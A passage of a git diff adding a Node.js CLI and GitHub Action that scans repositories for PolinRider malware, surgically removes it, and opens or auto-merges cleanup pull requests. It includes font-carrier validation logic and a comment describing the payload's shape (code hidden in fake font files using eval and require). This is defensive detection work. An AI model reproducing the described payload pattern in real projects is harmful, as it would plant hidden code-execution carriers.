"license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/yoctocolors": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yoctocolors/-/yoctocolors-2.1.2.tgz", + "integrity": "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..260ec2e --- /dev/null +++ b/package.json @@ -0,0 +1,30 @@ +{ + "name": "polinrider-remover", + "version": "2.0.0", + "description": "Hardened CLI that scans a GitHub org for PolinRider malware and opens surgical cleanup PRs. Reads target files as inert text only — never executes them.", + "type": "module", + "bin": { + "polinrider": "bin/polinrider.js" + }, + "main": "src/index.js", + "engines": { + "node": ">=20" + }, + "scripts": { + "start": "node bin/polinrider.js", + "scan": "node bin/polinrider.js", + "test": "node --test", + "test:hardened": "node --disallow-code-generation-from-strings --test", + "build:action": "node scripts/build-action.mjs" + }, + "dependencies": { + "chalk": "^5.3.0", + "execa": "^9.5.2", + "ora": "^8.1.1" + }, + "devDependencies": { + "esbuild": "^0.25.0" + }, + "license": "MIT", + "private": true +} diff --git a/scripts/build-action.mjs b/scripts/build-action.mjs new file mode 100644 index 0000000..2c60311 --- /dev/null +++ b/scripts/build-action.mjs @@ -0,0 +1,31 @@ +/** + * Bundle the GitHub Action entrypoint (src/ci.js) into a single self-contained + * dist/ci.mjs that the action runner executes with no install step. + * + * The banner shims `require`/`__dirname`/`__filename` because some transitive + * CJS deps of execa (e.g. cross-spawn) call `require('child_process')`, which + * does not exist in an ESM bundle without this. + */ +import { build } from "esbuild"; + +const banner = [ + "import { createRequire as __createRequire } from 'node:module';", + "import { fileURLToPath as __fileURLToPath } from 'node:url';", + "import { dirname as __pathDirname } from 'node:path';", + "const require = __createRequire(import.meta.url);", + "const __filename = __fileURLToPath(import.meta.url);", + "const __dirname = __pathDirname(__filename);", +].join("\n"); + +await build({ + entryPoints: ["src/ci.js"], + bundle: true, + platform: "node", + format: "esm", + target: "node20", + outfile: "dist/ci.mjs", + banner: { js: banner }, + legalComments: "none", +}); + +console.log("built dist/ci.mjs"); diff --git a/src/ci.js b/src/ci.js new file mode 100644 index 0000000..f5d7144 --- /dev/null +++ b/src/ci.js @@ -0,0 +1,536 @@ +import "./safety.js"; // MUST be first — neutralizes eval/Function/vm at import time. + +/** + * GitHub Action frontend (CI mode). + * + * Scans the ALREADY-CHECKED-OUT repository (no clone, no org listing) and, based + * on `mode`, fails the check, cleans the working tree, or opens a cleanup PR. + * Reuses the same engine as the org-sweep CLI — scanRepo() + remediate() + the + * report builders — all of which operate on a plain local directory. + * + * mode=check Scan only. Exit non-zero when severity meets `fail-on` so a + * required status check blocks an infected merge. No token needed. + * mode=fix Scan → surgically remediate the working tree. With commit=true + * (and on a push event) also commit + push the cleanup back. + * mode=pr Scan → remediate → open a cleanup PR (mirrors the CLI's openPR). + * + * Inputs arrive as INPUT_* env vars (GitHub Actions convention). Each setting + * also falls back to its legacy env name (GH_TOKEN, DRY_RUN, AUTO_MERGE, + * MERGE_METHOD, BRANCH_PREFIX) so consumers can configure via `with:` or `env:`. + * + * SAFETY: no target file content is ever require()'d/import()'d/eval()'d; every + * subprocess still goes through src/safe-exec.js (git/gh only). + */ + +import fs from "node:fs"; +import fsp from "node:fs/promises"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { scanRepo } from "./scanner.js"; +import { remediate } from "./remediator.js"; +import { buildPrBody, PR_TITLE, findingLines, resultLines } from "./report.js"; +import { safeGit, safeGh } from "./safe-exec.js"; +import { buildSarif } from "./sarif.js"; + +const BOT_EMAIL = "polinrider-cleanup-bot@users.noreply.github.com"; +const BOT_NAME = "PolinRider Cleanup Bot"; +const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup"; + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); +const oneLine = (s) => (s || "").trim().split("\n")[0]; + +// ─── Inputs (INPUT_* with legacy-env fallback) ─────────────────────────────── + +/** Mirror @actions/core.getInput: INPUT_, uppercased, spaces→underscore. */ +function input(name) { + const v = process.env[`INPUT_${name.replace(/ /g, "_").toUpperCase()}`]; + return v === undefined ? "" : v.trim(); +} +const bool = (v) => /^(true|1|yes|on)$/i.test(String(v).trim()); + +export function resolveSettings() { + const commentRaw = input("comment-on-pr"); + return { + mode: (input("mode") || "check").toLowerCase(), + scanPath: input("path") || ".", + exclude: input("exclude") || process.env.POLINRIDER_EXCLUDE || "", + token: + input("token") || process.env.GH_TOKEN || process.env.GITHUB_TOKEN || "", + failOn: (input("fail-on") || "infected").toLowerCase(), + commit: bool(input("commit")), // default false + commentOnPr: commentRaw === "" ? true : bool(commentRaw), + sarifFile: input("sarif-file") || process.env.SARIF_FILE || "", + dryRun: input("dry-run") + ? bool(input("dry-run")) + : process.env.DRY_RUN === "true", + autoMerge: input("auto-merge") + ? bool(input("auto-merge")) + : process.env.AUTO_MERGE === "true", + mergeMethod: ( + input("merge-method") || + process.env.MERGE_METHOD || + "squash" + ).toLowerCase(), + branchPrefix: + input("branch-prefix") || + process.env.BRANCH_PREFIX || + "fix/polinrider-cleanup", + }; +} + +// ─── GitHub Actions I/O (outputs, summary, annotations) ────────────────────── + +function setOutput(name, value) { + const file = process.env.GITHUB_OUTPUT; + if (!file) return; + try { + fs.appendFileSync(file, `${name}=${value}\n`); + } catch { + /* ignore — outputs are best-effort */ + } +} + +function appendSummary(md) { + const file = process.env.GITHUB_STEP_SUMMARY; + if (!file) return; + try { + fs.appendFileSync(file, md.endsWith("\n") ? md : md + "\n"); + } catch { + /* ignore */ + } +} + +// Workflow-command escaping differs between the message and property values. +const escData = (s) => + String(s).replace(/%/g, "%25").replace(/\r/g, "%0D").replace(/\n/g, "%0A"); +const escProp = (s) => escData(s).replace(/,/g, "%2C").replace(/:/g, "%3A"); + +function annotate(level, { file, line, title, message }) { + const props = []; + if (file) props.push(`file=${escProp(file)}`); + if (line) props.push(`line=${line}`); + if (title) props.push(`title=${escProp(title)}`); + console.log( + `::${level}${props.length ? " " + props.join(",") : ""}::${escData(message)}`, + ); +} +const notice = (m) => console.log(`::notice::${escData(m)}`); +const warn = (m) => console.log(`::warning::${escData(m)}`); + +// ─── Severity / line helpers ───────────────────────────────────────────────── + +const SEVERITY_RANK = { clean: 0, suspicious: 1, infected: 2 }; + +export function failThreshold(failOn) { + if (failOn === "never") return Infinity; + if (failOn === "suspicious") return SEVERITY_RANK.suspicious; + return SEVERITY_RANK.infected; // default + "infected" +} + +/** 1-based line for a finding that carries a char offset (js payloads), else 1. */ +function findingLine(repoDir, f) { + const offset = f.edit?.offset; + if (!(offset > 0)) return 1; + try { + const text = fs.readFileSync(path.join(repoDir, f.file), "utf8"); + if (offset > text.length) return 1; + return text.slice(0, offset).split("\n").length; + } catch { + return 1; + } +} + +/** Repo-root-relative path so GitHub maps the annotation onto the PR diff. */ +function annotationPath(workspace, repoDir, relFile) { + return path.relative(workspace, path.join(repoDir, relFile)) || relFile; +} + +function emitAnnotations(workspace, repoDir, findings) { + for (const f of findings.findings) { + annotate(f.contentConfirmed ? "error" : "warning", { + file: annotationPath(workspace, repoDir, f.file), + line: findingLine(repoDir, f), + title: f.contentConfirmed ? "PolinRider malware" : "PolinRider (review)", + message: f.description, + }); + } +} + +// ─── Run report (job summary + PR comment body) ────────────────────────────── + +export function buildSummary({ settings, findings, result }) { + const icon = + findings.severity === "infected" + ? "🔴" + : findings.severity === "suspicious" + ? "🟡" + : "🟢"; + const out = [ + "## 🛡️ PolinRider Malware Scan", + "", + `**Mode:** \`${settings.mode}\`${settings.dryRun ? " (dry run)" : ""} · **Severity:** ${icon} \`${findings.severity}\` · **Findings:** ${findings.findings.length}`, + "", + ]; + if (findings.findings.length) { + out.push("### Findings"); + for (const l of findingLines(findings)) out.push(`- ${l}`); + out.push(""); + } else { + out.push("No PolinRider signatures found. ✅", ""); + } + if (result) { + out.push( + settings.dryRun ? "### Planned remediation (dry run)" : "### Remediation", + ); + const lines = resultLines(result); + if (lines.length) for (const l of lines) out.push(`- ${l}`); + else out.push("- (no changes)"); + out.push(""); + } + if (findings.manualReview.length) { + out.push("### Needs manual review"); + for (const m of findings.manualReview) out.push(`- ${m}`); + out.push(""); + } + out.push("---", `_Generated by [polinrider-cleanup](${PROJECT_URL})._`); + return out.join("\n"); +} + +// ─── git identity / commit-back / PR (fix & pr modes) ──────────────────────── + +async function configureIdentity(repoDir) { + await safeGit(["-C", repoDir, "config", "user.email", BOT_EMAIL]); + await safeGit(["-C", repoDir, "config", "user.name", BOT_NAME]); +} +const tokenUrl = (fullName, token) => + `https://x-access-token:${token}@github.com/${fullName}.git`; + +function readEvent() { + const p = process.env.GITHUB_EVENT_PATH; + if (!p) return null; + try { + return JSON.parse(fs.readFileSync(p, "utf8")); + } catch { + return null; + } +} + +/** fix + commit=true → commit the cleaned tree and push it back to the branch. */ +async function commitBack(repoDir, settings) { + const event = process.env.GITHUB_EVENT_NAME || ""; + if (event.startsWith("pull_request")) { + warn( + "commit skipped on pull_request events (detached HEAD / forks can't be pushed). Use mode: pr, or run fix on push events.", + ); + return false; + } + const fullName = process.env.GITHUB_REPOSITORY; + if (!fullName || !settings.token) { + warn("commit skipped — GITHUB_REPOSITORY or token unavailable."); + return false; + } + let branch = process.env.GITHUB_REF_NAME; + if (!branch) { + const rp = await safeGit([ + "-C", + repoDir, + "rev-parse", + "--abbrev-ref", + "HEAD", + ]); + branch = rp.stdout.trim(); + } + if (!branch || branch === "HEAD") { + warn( + "commit skipped — could not resolve a branch to push to (detached HEAD).", + ); + return false; + } + await configureIdentity(repoDir); + await safeGit(["-C", repoDir, "add", "-A"]); + const staged = await safeGit([ + "-C", + repoDir, + "diff", + "--cached", + "--name-only", + ]); + if (!staged.stdout.trim()) return false; + const commit = await safeGit([ + "-C", + repoDir, + "commit", + "-m", + "security: remove PolinRider malware artifacts\n\nAutomated cleanup by the polinrider-cleanup action.", + ]); + if (commit.exitCode !== 0) { + warn(`commit failed: ${oneLine(commit.stderr)}`); + return false; + } + const push = await safeGit([ + "-C", + repoDir, + "push", + tokenUrl(fullName, settings.token), + `HEAD:${branch}`, + ]); + if (push.exitCode !== 0) { + warn( + `push to ${branch} failed (protected branch?): ${oneLine(push.stderr)}`, + ); + return false; + } + notice(`Cleaned files committed and pushed to ${branch}.`); + return true; +} + +/** pr mode → new branch, commit, push, open PR. Mirrors index.js openPR(). */ +async function openCleanupPr(repoDir, settings, findings, result) { + const fullName = process.env.GITHUB_REPOSITORY; + if (!fullName) throw new Error("GITHUB_REPOSITORY is not set"); + if (!settings.token) + throw new Error( + "a token is required for mode: pr (set `token:` or GH_TOKEN)", + ); + + const branch = `${settings.branchPrefix}-${Date.now()}`; + await configureIdentity(repoDir); + const co = await safeGit(["-C", repoDir, "checkout", "-b", branch]); + if (co.exitCode !== 0) + throw new Error(`branch creation failed: ${oneLine(co.stderr)}`); + await safeGit(["-C", repoDir, "add", "-A"]); + const staged = await safeGit([ + "-C", + repoDir, + "diff", + "--cached", + "--name-only", + ]); + if (!staged.stdout.trim()) + return { skipped: true, reason: "no staged changes after remediation" }; + const commit = await safeGit([ + "-C", + repoDir, + "commit", + "-m", + `${PR_TITLE}\n\nAutomated surgical cleanup by the polinrider-cleanup action.`, + ]); + if (commit.exitCode !== 0) + throw new Error(`commit failed: ${oneLine(commit.stderr)}`); + const push = await safeGit([ + "-C", + repoDir, + "push", + tokenUrl(fullName, settings.token), + branch, + ]); + if (push.exitCode !== 0) + throw new Error(`push failed: ${oneLine(push.stderr)}`); + + const body = buildPrBody({ findings, result }); + const base = [ + "pr", + "create", + "--repo", + fullName, + "--title", + PR_TITLE, + "--body", + body, + "--head", + branch, + ]; + let pr = await safeGh([...base, "--label", "security"], {}, settings.token); + if (pr.exitCode !== 0) pr = await safeGh(base, {}, settings.token); // retry without label (may not exist) + if (pr.exitCode !== 0) + throw new Error(`PR creation failed: ${oneLine(pr.stderr)}`); + const url = pr.stdout.trim(); + + if (!settings.autoMerge) return { url, merged: false, mergeError: null }; + const mergeArgs = [ + "pr", + "merge", + url, + `--${settings.mergeMethod}`, + "--delete-branch", + ]; + let merge = await safeGh(mergeArgs, {}, settings.token); + if (merge.exitCode !== 0) { + await sleep(3000); + merge = await safeGh(mergeArgs, {}, settings.token); + } + if (merge.exitCode === 0) return { url, merged: true, mergeError: null }; + return { + url, + merged: false, + mergeError: oneLine(merge.stderr || merge.stdout) || "merge failed", + }; +} + +/** Post the run report as a PR comment when on a pull_request event. */ +async function postPrComment(settings, summaryMd) { + if (!settings.commentOnPr) return; + if (!(process.env.GITHUB_EVENT_NAME || "").startsWith("pull_request")) return; + if (!settings.token) return; + const ev = readEvent(); + const num = ev?.pull_request?.number ?? ev?.number; + const fullName = process.env.GITHUB_REPOSITORY; + if (!num || !fullName) return; + const res = await safeGh( + ["pr", "comment", String(num), "--repo", fullName, "--body", summaryMd], + {}, + settings.token, + ); + if (res.exitCode !== 0) + warn( + `could not post PR comment (needs pull-requests: write): ${oneLine(res.stderr)}`, + ); +} + +// ─── Main ──────────────────────────────────────────────────────────────────── + +export async function run() { + const settings = resolveSettings(); + if (!["check", "fix", "pr"].includes(settings.mode)) { + console.log( + `::error::invalid mode "${settings.mode}" (expected check | fix | pr)`, + ); + return 2; + } + const workspace = process.env.GITHUB_WORKSPACE || process.cwd(); + const repoDir = path.resolve(workspace, settings.scanPath); + console.log( + `PolinRider scan — mode=${settings.mode} path=${path.relative(workspace, repoDir) || "."}` + + `${settings.dryRun ? " (dry run)" : ""}`, + ); + + const findings = await scanRepo(repoDir, { exclude: settings.exclude }); + emitAnnotations(workspace, repoDir, findings); + + let result = null; + let prUrl = ""; + let changed = false; + + if ( + (settings.mode === "fix" || settings.mode === "pr") && + findings.severity === "infected" + ) { + result = await remediate(repoDir, findings, { dryRun: settings.dryRun }); + changed = result.changed; + + if ( + settings.mode === "fix" && + settings.commit && + !settings.dryRun && + changed + ) { + await commitBack(repoDir, settings); + } + + if (settings.mode === "pr" && !settings.dryRun) { + if (changed) { + try { + const pr = await openCleanupPr(repoDir, settings, findings, result); + if (pr.skipped) { + warn(`PR skipped: ${pr.reason}`); + } else { + prUrl = pr.url; + if (pr.merged) notice(`Cleanup PR merged: ${prUrl}`); + else if (pr.mergeError) + warn( + `Cleanup PR opened (auto-merge blocked: ${pr.mergeError}): ${prUrl}`, + ); + else notice(`Cleanup PR opened: ${prUrl}`); + } + } catch (e) { + warn(`PR mode failed: ${e.message}`); + } + } else { + warn( + "Infected, but only manual-review items remain — no automated changes to open a PR for.", + ); + } + } + } + + // Optional SARIF for code-scanning upload. + if (settings.sarifFile) { + try { + const sarif = buildSarif(findings, { repoRoot: workspace, repoDir }); + const dest = path.resolve(settings.sarifFile); + await fsp.mkdir(path.dirname(dest), { recursive: true }); + await fsp.writeFile(dest, JSON.stringify(sarif, null, 2)); + setOutput("sarif-file", settings.sarifFile); + } catch (e) { + warn(`could not write SARIF: ${e.message}`); + } + } + + // Report: job summary + PR comment. + const summaryMd = buildSummary({ settings, findings, result }); + appendSummary(summaryMd); + await postPrComment(settings, summaryMd); + + // Outputs. + const remediated = !!( + result && + (result.filesModified.length || result.filesDeleted.length) + ); + setOutput("severity", findings.severity); + setOutput("infected", String(findings.severity === "infected")); + setOutput("findings-count", String(findings.findings.length)); + setOutput("changed", String(changed)); + setOutput("remediated", String(remediated)); + if (prUrl) setOutput("pr-url", prUrl); + + // Exit code. + const threshold = failThreshold(settings.failOn); + const sev = SEVERITY_RANK[findings.severity] ?? 0; + const wouldFailSeverity = threshold !== Infinity && sev >= threshold; + let code = 0; + if (settings.mode === "check" || settings.dryRun) { + code = wouldFailSeverity ? 1 : 0; + } else if (settings.mode === "fix") { + // Cleaned what it could; fail only if confirmed items remain unresolved. + const unresolved = + findings.findings.filter( + (f) => f.contentConfirmed && f.action === "manual-review", + ).length + + (result?.skipped?.filter((s) => s.finding.contentConfirmed).length ?? 0); + code = + threshold !== Infinity && + findings.severity === "infected" && + unresolved > 0 + ? 1 + : 0; + } else if (settings.mode === "pr") { + // PR opened (or nothing to fix). Fail only if infected and no PR was opened. + code = + threshold !== Infinity && findings.severity === "infected" && !prUrl + ? 1 + : 0; + } + + console.log( + findings.severity === "infected" + ? `Result: INFECTED — ${findings.findings.length} finding(s).` + : findings.severity === "suspicious" + ? "Result: suspicious file layout — no confirmed payload." + : "Result: clean.", + ); + return code; +} + +// Auto-run when invoked directly (the bundled action, or `node src/ci.js`), but +// NOT when imported by a test. +const invokedDirectly = + process.argv[1] && + path.resolve(process.argv[1]) === fileURLToPath(import.meta.url); +if (invokedDirectly) { + run() + .then((code) => process.exit(code)) + .catch((err) => { + console.log(`::error::${escData(err.message)}`); + process.exit(1); + }); +} diff --git a/src/exclude.js b/src/exclude.js new file mode 100644 index 0000000..3e2a076 --- /dev/null +++ b/src/exclude.js @@ -0,0 +1,56 @@ +/** + * Build a path matcher from a list of ignore patterns, so a scan can skip files + * that are known-legitimate but would otherwise match (e.g. this very tool's own + * signature definitions and payload fixtures). Dependency-free — a minimal glob. + * + * Patterns are matched against POSIX, repo-relative paths. Supported forms: + * - exact file: src/signatures.js + * - directory: dist (or dist/ — matches everything under it) + * - glob: test/** **\/fixtures/** *.min.js + * `*` matches within a path segment; `**` matches across segments. + */ + +const normalize = (p) => + (p || "").replace(/\\/g, "/").replace(/^\.\//, "").replace(/\/+$/, ""); + +function globToRegExp(glob) { + let re = ""; + for (let i = 0; i < glob.length; i++) { + const c = glob[i]; + if (c === "*") { + if (glob[i + 1] === "*") { + re += ".*"; // ** → any chars, including "/" + i++; + } else { + re += "[^/]*"; // * → any chars except "/" + } + } else if (c === "?") { + re += "[^/]"; + } else if ("\\^$.|+()[]{}".includes(c)) { + re += "\\" + c; + } else { + re += c; + } + } + return new RegExp("^" + re + "$"); +} + +/** + * @param {string[]|string} patterns array, or comma/newline-separated string + * @returns {(relPosixPath: string) => boolean} + */ +export function buildExcluder(patterns) { + const list = Array.isArray(patterns) + ? patterns + : String(patterns || "").split(/[,\n]/); + const specs = list + .map((p) => normalize(p.trim?.() ?? p)) + .filter(Boolean) + .map((n) => ({ prefix: n, re: globToRegExp(n) })); + + if (specs.length === 0) return () => false; + return (rel) => { + const r = (rel || "").replace(/\\/g, "/"); + return specs.some((s) => r === s.prefix || r.startsWith(s.prefix + "/") || s.re.test(r)); + }; +} diff --git a/src/fonts.js b/src/fonts.js new file mode 100644 index 0000000..878ed36 --- /dev/null +++ b/src/fonts.js @@ -0,0 +1,176 @@ +/** + * Font payload-carrier analysis. + * + * PolinRider has a variant that drops a malicious file into public/fonts (or + * static/, assets/fonts/). We flag a font ONLY when it is both: + * 1. unreferenced — no CSS/HTML/JS in the repo mentions its filename, and + * 2. suspicious — it does NOT parse as a structurally valid font. + * + * "Structurally valid" is the primary signal: a real font has valid magic AND a + * well-formed table directory / header whose declared extents stay inside the + * file. A genuine font is trusted unconditionally — even when its bytes happen to + * contain a license URL or a long base64-looking run of binary glyph data (both + * of which previously caused false positives on legitimate fonts). + * + * The real carrier is the opposite of a font: it has no font magic at all — it is + * readable JavaScript text (`global['!']=…; require(…); eval(…)`). Such a file + * fails structural validation, and the presence of code-execution strings + * (FONT_BADNESS_RES) confirms it is an appended payload rather than a merely + * corrupt font. + * + * Reading the file as a Buffer and scanning bytes never executes anything. + */ + +import fs from "node:fs/promises"; +import path from "node:path"; +import { collectByExtension, DEFAULT_EXCLUDE } from "./walk.js"; +import { FONT_MAGIC, FONT_BADNESS_RES, FONT_REF_EXTENSIONS } from "./signatures.js"; + +// A reference inside .vscode (e.g. a malicious task pointing at its payload font) +// must NOT count as legitimate usage. +const REF_EXCLUDE = new Set([...DEFAULT_EXCLUDE, ".vscode"]); + +const NO_RELIABLE_MAGIC = new Set([".eot"]); // EOT lacks a single stable magic +const BYTE_SCAN_LIMIT = 256 * 1024; // scan at most 256 KB for embedded strings +const REF_HAYSTACK_LIMIT = 8 * 1024 * 1024; // cap concatenated reference text + +/** Identify a font format from the first 4 bytes, or 'unknown'. */ +export function readMagic(buf) { + if (!Buffer.isBuffer(buf) || buf.length < 4) return "unknown"; + for (const [fmt, sig] of Object.entries(FONT_MAGIC)) { + if (!sig) continue; + if (sig.every((b, idx) => buf[idx] === b)) return fmt; + } + return "unknown"; +} + +/** + * Validate a buffer's font structure from its header/table directory alone. + * Pure and byte-only: never executes anything, never allocates based on the + * file's own declared sizes. + * + * A recognized magic whose declared extents stay within the file is treated as a + * genuine font. When the magic is recognized but the specific variant is one we + * don't fully parse, we give the benefit of the doubt (valid) — the downstream + * blast radius is file deletion, so we only reject when we are confident the + * bytes are NOT a font. + * + * @param {Buffer} buf + * @returns {{ valid: boolean, format: string, reason?: string }} + */ +export function parseFontStructure(buf) { + const format = readMagic(buf); + if (format === "unknown") { + return { valid: false, format, reason: "no recognizable font magic bytes" }; + } + + // WOFF / WOFF2: header declares the total file length at offset 8 and the table + // count at offset 12 — both trivially cross-checkable against the actual bytes. + if (format === "woff" || format === "woff2") { + if (buf.length >= 14 && buf.readUInt32BE(8) === buf.length && buf.readUInt16BE(12) > 0) { + return { valid: true, format }; + } + return { valid: false, format, reason: `malformed ${format} header (declared length or table count invalid)` }; + } + + // TrueType Collection: numFonts at offset 8, then that many sfnt-header offsets. + if (format === "ttc") { + if (buf.length >= 12) { + const numFonts = buf.readUInt32BE(8); + if (numFonts >= 1 && numFonts <= 256 && 12 + numFonts * 4 <= buf.length) { + let ok = true; + for (let i = 0; i < numFonts; i++) { + if (buf.readUInt32BE(12 + i * 4) + 12 > buf.length) { + ok = false; + break; + } + } + if (ok) return { valid: true, format }; + } + } + return { valid: false, format, reason: "malformed TrueType Collection header" }; + } + + // sfnt (ttf / otf / legacy 'true'): numTables at offset 4, then a 16-byte table + // directory. Every table's (offset + length) must stay within the file. + const numTables = buf.length >= 6 ? buf.readUInt16BE(4) : 0; + const dirEnd = 12 + numTables * 16; + if (numTables < 1 || numTables > 4096 || dirEnd > buf.length) { + return { valid: false, format, reason: "malformed font table directory" }; + } + for (let i = 0; i < numTables; i++) { + const rec = 12 + i * 16; + if (buf.readUInt32BE(rec + 8) + buf.readUInt32BE(rec + 12) > buf.length) { + return { valid: false, format, reason: "font table points past end of file" }; + } + } + return { valid: true, format }; +} + +/** Scan a font's leading bytes for code-execution strings a real font never has. */ +function scanCodeStrings(buf) { + const window = buf.subarray(0, Math.min(buf.length, BYTE_SCAN_LIMIT)).toString("latin1"); + return FONT_BADNESS_RES.some((re) => re.test(window)) + ? ["contains embedded code-like strings a real font never has (eval/require/global[/etc.)"] + : []; +} + +/** + * Inspect font bytes for signs it isn't a real font. + * + * A structurally valid font is trusted unconditionally (never `bad`). Otherwise + * the file is flagged, and `hasCodeStrings` tells the caller whether it also + * carries a code payload — the difference between a confirmed carrier (auto-remove) + * and a merely unrecognized blob (manual review). + * + * @param {Buffer} buf + * @param {string} [ext] file extension (e.g. ".woff2"). Formats without a reliable + * magic number (.eot) can only be flagged by embedded code strings. + * @returns {{ bad: boolean, magic: string, reasons: string[], hasCodeStrings: boolean }} + */ +export function looksSuspicious(buf, ext = "") { + // EOT has no single stable magic; never reject it structurally — only an + // embedded code payload makes an .eot suspicious. + if (NO_RELIABLE_MAGIC.has(ext.toLowerCase())) { + const reasons = scanCodeStrings(buf); + return { bad: reasons.length > 0, magic: readMagic(buf), reasons, hasCodeStrings: reasons.length > 0 }; + } + + const struct = parseFontStructure(buf); + if (struct.valid) { + return { bad: false, magic: struct.format, reasons: [], hasCodeStrings: false }; + } + + const codeReasons = scanCodeStrings(buf); + return { + bad: true, + magic: struct.format, + reasons: [struct.reason, ...codeReasons], + hasCodeStrings: codeReasons.length > 0, + }; +} + +/** + * Build a lowercased haystack of every file that could reference a font, so we + * can cheaply test whether a font filename is used anywhere. Conservative by + * design: a substring match counts as "referenced" (we'd rather keep a file + * than wrongly delete a legitimate, referenced font). + */ +export async function collectFontReferences(repoDir) { + const files = await collectByExtension(repoDir, FONT_REF_EXTENSIONS, { exclude: REF_EXCLUDE }); + let haystack = ""; + for (const f of files) { + if (haystack.length > REF_HAYSTACK_LIMIT) break; + try { + haystack += "\n" + (await fs.readFile(f, "utf8")).toLowerCase(); + } catch { + /* unreadable file → skip */ + } + } + return haystack; +} + +/** True if the font's basename appears anywhere in the reference haystack. */ +export function isReferenced(haystack, fontPath) { + return haystack.includes(path.basename(fontPath).toLowerCase()); +} diff --git a/src/index.js b/src/index.js new file mode 100644 index 0000000..45d6a51 --- /dev/null +++ b/src/index.js @@ -0,0 +1,376 @@ +import "./safety.js"; // MUST be the first import — installs runtime guards. + +/** + * PolinRider Org Cleanup CLI (consolidated, hardened). + * + * Flow per repo: + * 1. Clone default branch into WORKSPACE/ (shallow, hooks disabled) + * 2. Scan in-process (reads files as inert text — never executes them) + * 3. If infected → surgically remediate + * 4. Commit changes on a new branch and open a PR via gh + * + * Required env: GH_TOKEN, and exactly one of GH_ORG (organization) or GH_USER + * (personal account). Optional: DRY_RUN, WORKSPACE, BRANCH_PREFIX. + * + * SAFETY: every subprocess goes through src/safe-exec.js (git/gh only). No + * target file content is ever require()'d, import()'d, eval()'d, or exec()'d. + */ + +import chalk from "chalk"; +import ora from "ora"; +import path from "node:path"; +import fs from "node:fs/promises"; +import { existsSync } from "node:fs"; +import { fileURLToPath } from "node:url"; +import { safeGit, safeGh } from "./safe-exec.js"; +import { scanRepo } from "./scanner.js"; +import { remediate } from "./remediator.js"; +import { buildPrBody, PR_TITLE, findingLines, resultLines, buildRunJson, buildRunMarkdown } from "./report.js"; +import { hardeningStatus } from "./safety.js"; + +// ─── Config (resolved inside main() so importing this module is side-effect-free) ─ + +let ACCOUNT, TOKEN, DRY_RUN, WORKSPACE, BRANCH_PREFIX; +let AUTO_MERGE, MERGE_METHOD, REPORTS_DIR, reportBase, reportStamp; +let reportWarned = false; + +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + +function env(name) { + const val = process.env[name]; + if (!val) { + console.error(chalk.red(`✖ Missing required env var: ${name}`)); + process.exit(2); + } + return val; +} + +// The target account is EITHER a GitHub org (GH_ORG) or a personal user account +// (GH_USER). Set exactly one — comment out the other in your .env. The resolved +// `owner` is used both to list repos and to prefix bare GH_REPO entries. +function resolveAccount() { + const org = (process.env.GH_ORG || "").trim(); + const user = (process.env.GH_USER || "").trim(); + if (org && user) { + console.error(chalk.red("✖ Set only one of GH_ORG or GH_USER, not both")); + process.exit(2); + } + if (!org && !user) { + console.error( + chalk.red("✖ Set GH_ORG (organization) or GH_USER (personal account)"), + ); + process.exit(2); + } + return user ? { kind: "user", owner: user } : { kind: "org", owner: org }; +} + +function section(title) { + console.log("\n" + chalk.bold.underline(title)); +} +function indent(lines, color = chalk.gray) { + for (const l of lines) console.log(" " + color(l)); +} + +// ─── Clone ─────────────────────────────────────────────────────────────────── + +async function cloneRepo(fullName) { + const repoName = fullName.split("/")[1]; + const dest = path.join(WORKSPACE, repoName); + if (existsSync(dest)) await fs.rm(dest, { recursive: true, force: true }); + + const url = `https://x-access-token:${TOKEN}@github.com/${fullName}.git`; + const clone = await safeGit(["clone", "--depth=1", url, dest]); + if (clone.exitCode !== 0) throw new Error(`clone failed: ${clone.stderr}`); + + await safeGit(["-C", dest, "config", "user.email", "polinrider-cleanup-bot@users.noreply.github.com"]); + await safeGit(["-C", dest, "config", "user.name", "PolinRider Cleanup Bot"]); + return dest; +} + +// ─── Commit + push + PR ──────────────────────────────────────────────────────── + +async function openPR(repoDir, fullName, findings, result) { + const branch = `${BRANCH_PREFIX}-${Date.now()}`; + + const checkout = await safeGit(["-C", repoDir, "checkout", "-b", branch]); + if (checkout.exitCode !== 0) throw new Error(`branch creation failed: ${checkout.stderr}`); + + await safeGit(["-C", repoDir, "add", "-A"]); + const staged = await safeGit(["-C", repoDir, "diff", "--cached", "--name-only"]); + if (!staged.stdout.trim()) return { skipped: true, reason: "no staged changes after remediation" }; + + const commit = await safeGit([ + "-C", repoDir, "commit", + "-m", "security: remove PolinRider malware artifacts\n\nAutomated surgical cleanup by polinrider-remover.", + ]); + if (commit.exitCode !== 0) throw new Error(`commit failed: ${commit.stderr}`); + + const push = await safeGit([ + "-C", repoDir, "push", + `https://x-access-token:${TOKEN}@github.com/${fullName}.git`, + branch, + ]); + if (push.exitCode !== 0) throw new Error(`push failed: ${push.stderr}`); + + const body = buildPrBody({ findings, result }); + const baseArgs = ["pr", "create", "--repo", fullName, "--title", PR_TITLE, "--body", body, "--head", branch]; + let pr = await safeGh([...baseArgs, "--label", "security"]); + if (pr.exitCode !== 0) pr = await safeGh(baseArgs); // retry without label (may not exist) + if (pr.exitCode !== 0) throw new Error(`PR creation failed: ${pr.stderr}`); + const url = pr.stdout.trim(); + + if (!AUTO_MERGE) return { url, merged: false, mergeError: null }; + + // Respect branch protection: a direct merge fails where reviews/checks are + // required — that's reported, not bypassed. Retry once for mergeability lag. + const mergeArgs = ["pr", "merge", url, `--${MERGE_METHOD}`, "--delete-branch"]; + let merge = await safeGh(mergeArgs); + if (merge.exitCode !== 0) { + await sleep(3000); + merge = await safeGh(mergeArgs); + } + if (merge.exitCode === 0) return { url, merged: true, mergeError: null }; + return { url, merged: false, mergeError: (merge.stderr || merge.stdout || "merge failed").trim().split("\n")[0] }; +} + +// ─── Resolve target repos ────────────────────────────────────────────────────── +// +// Set GH_REPO (alias GH_REPOS) to 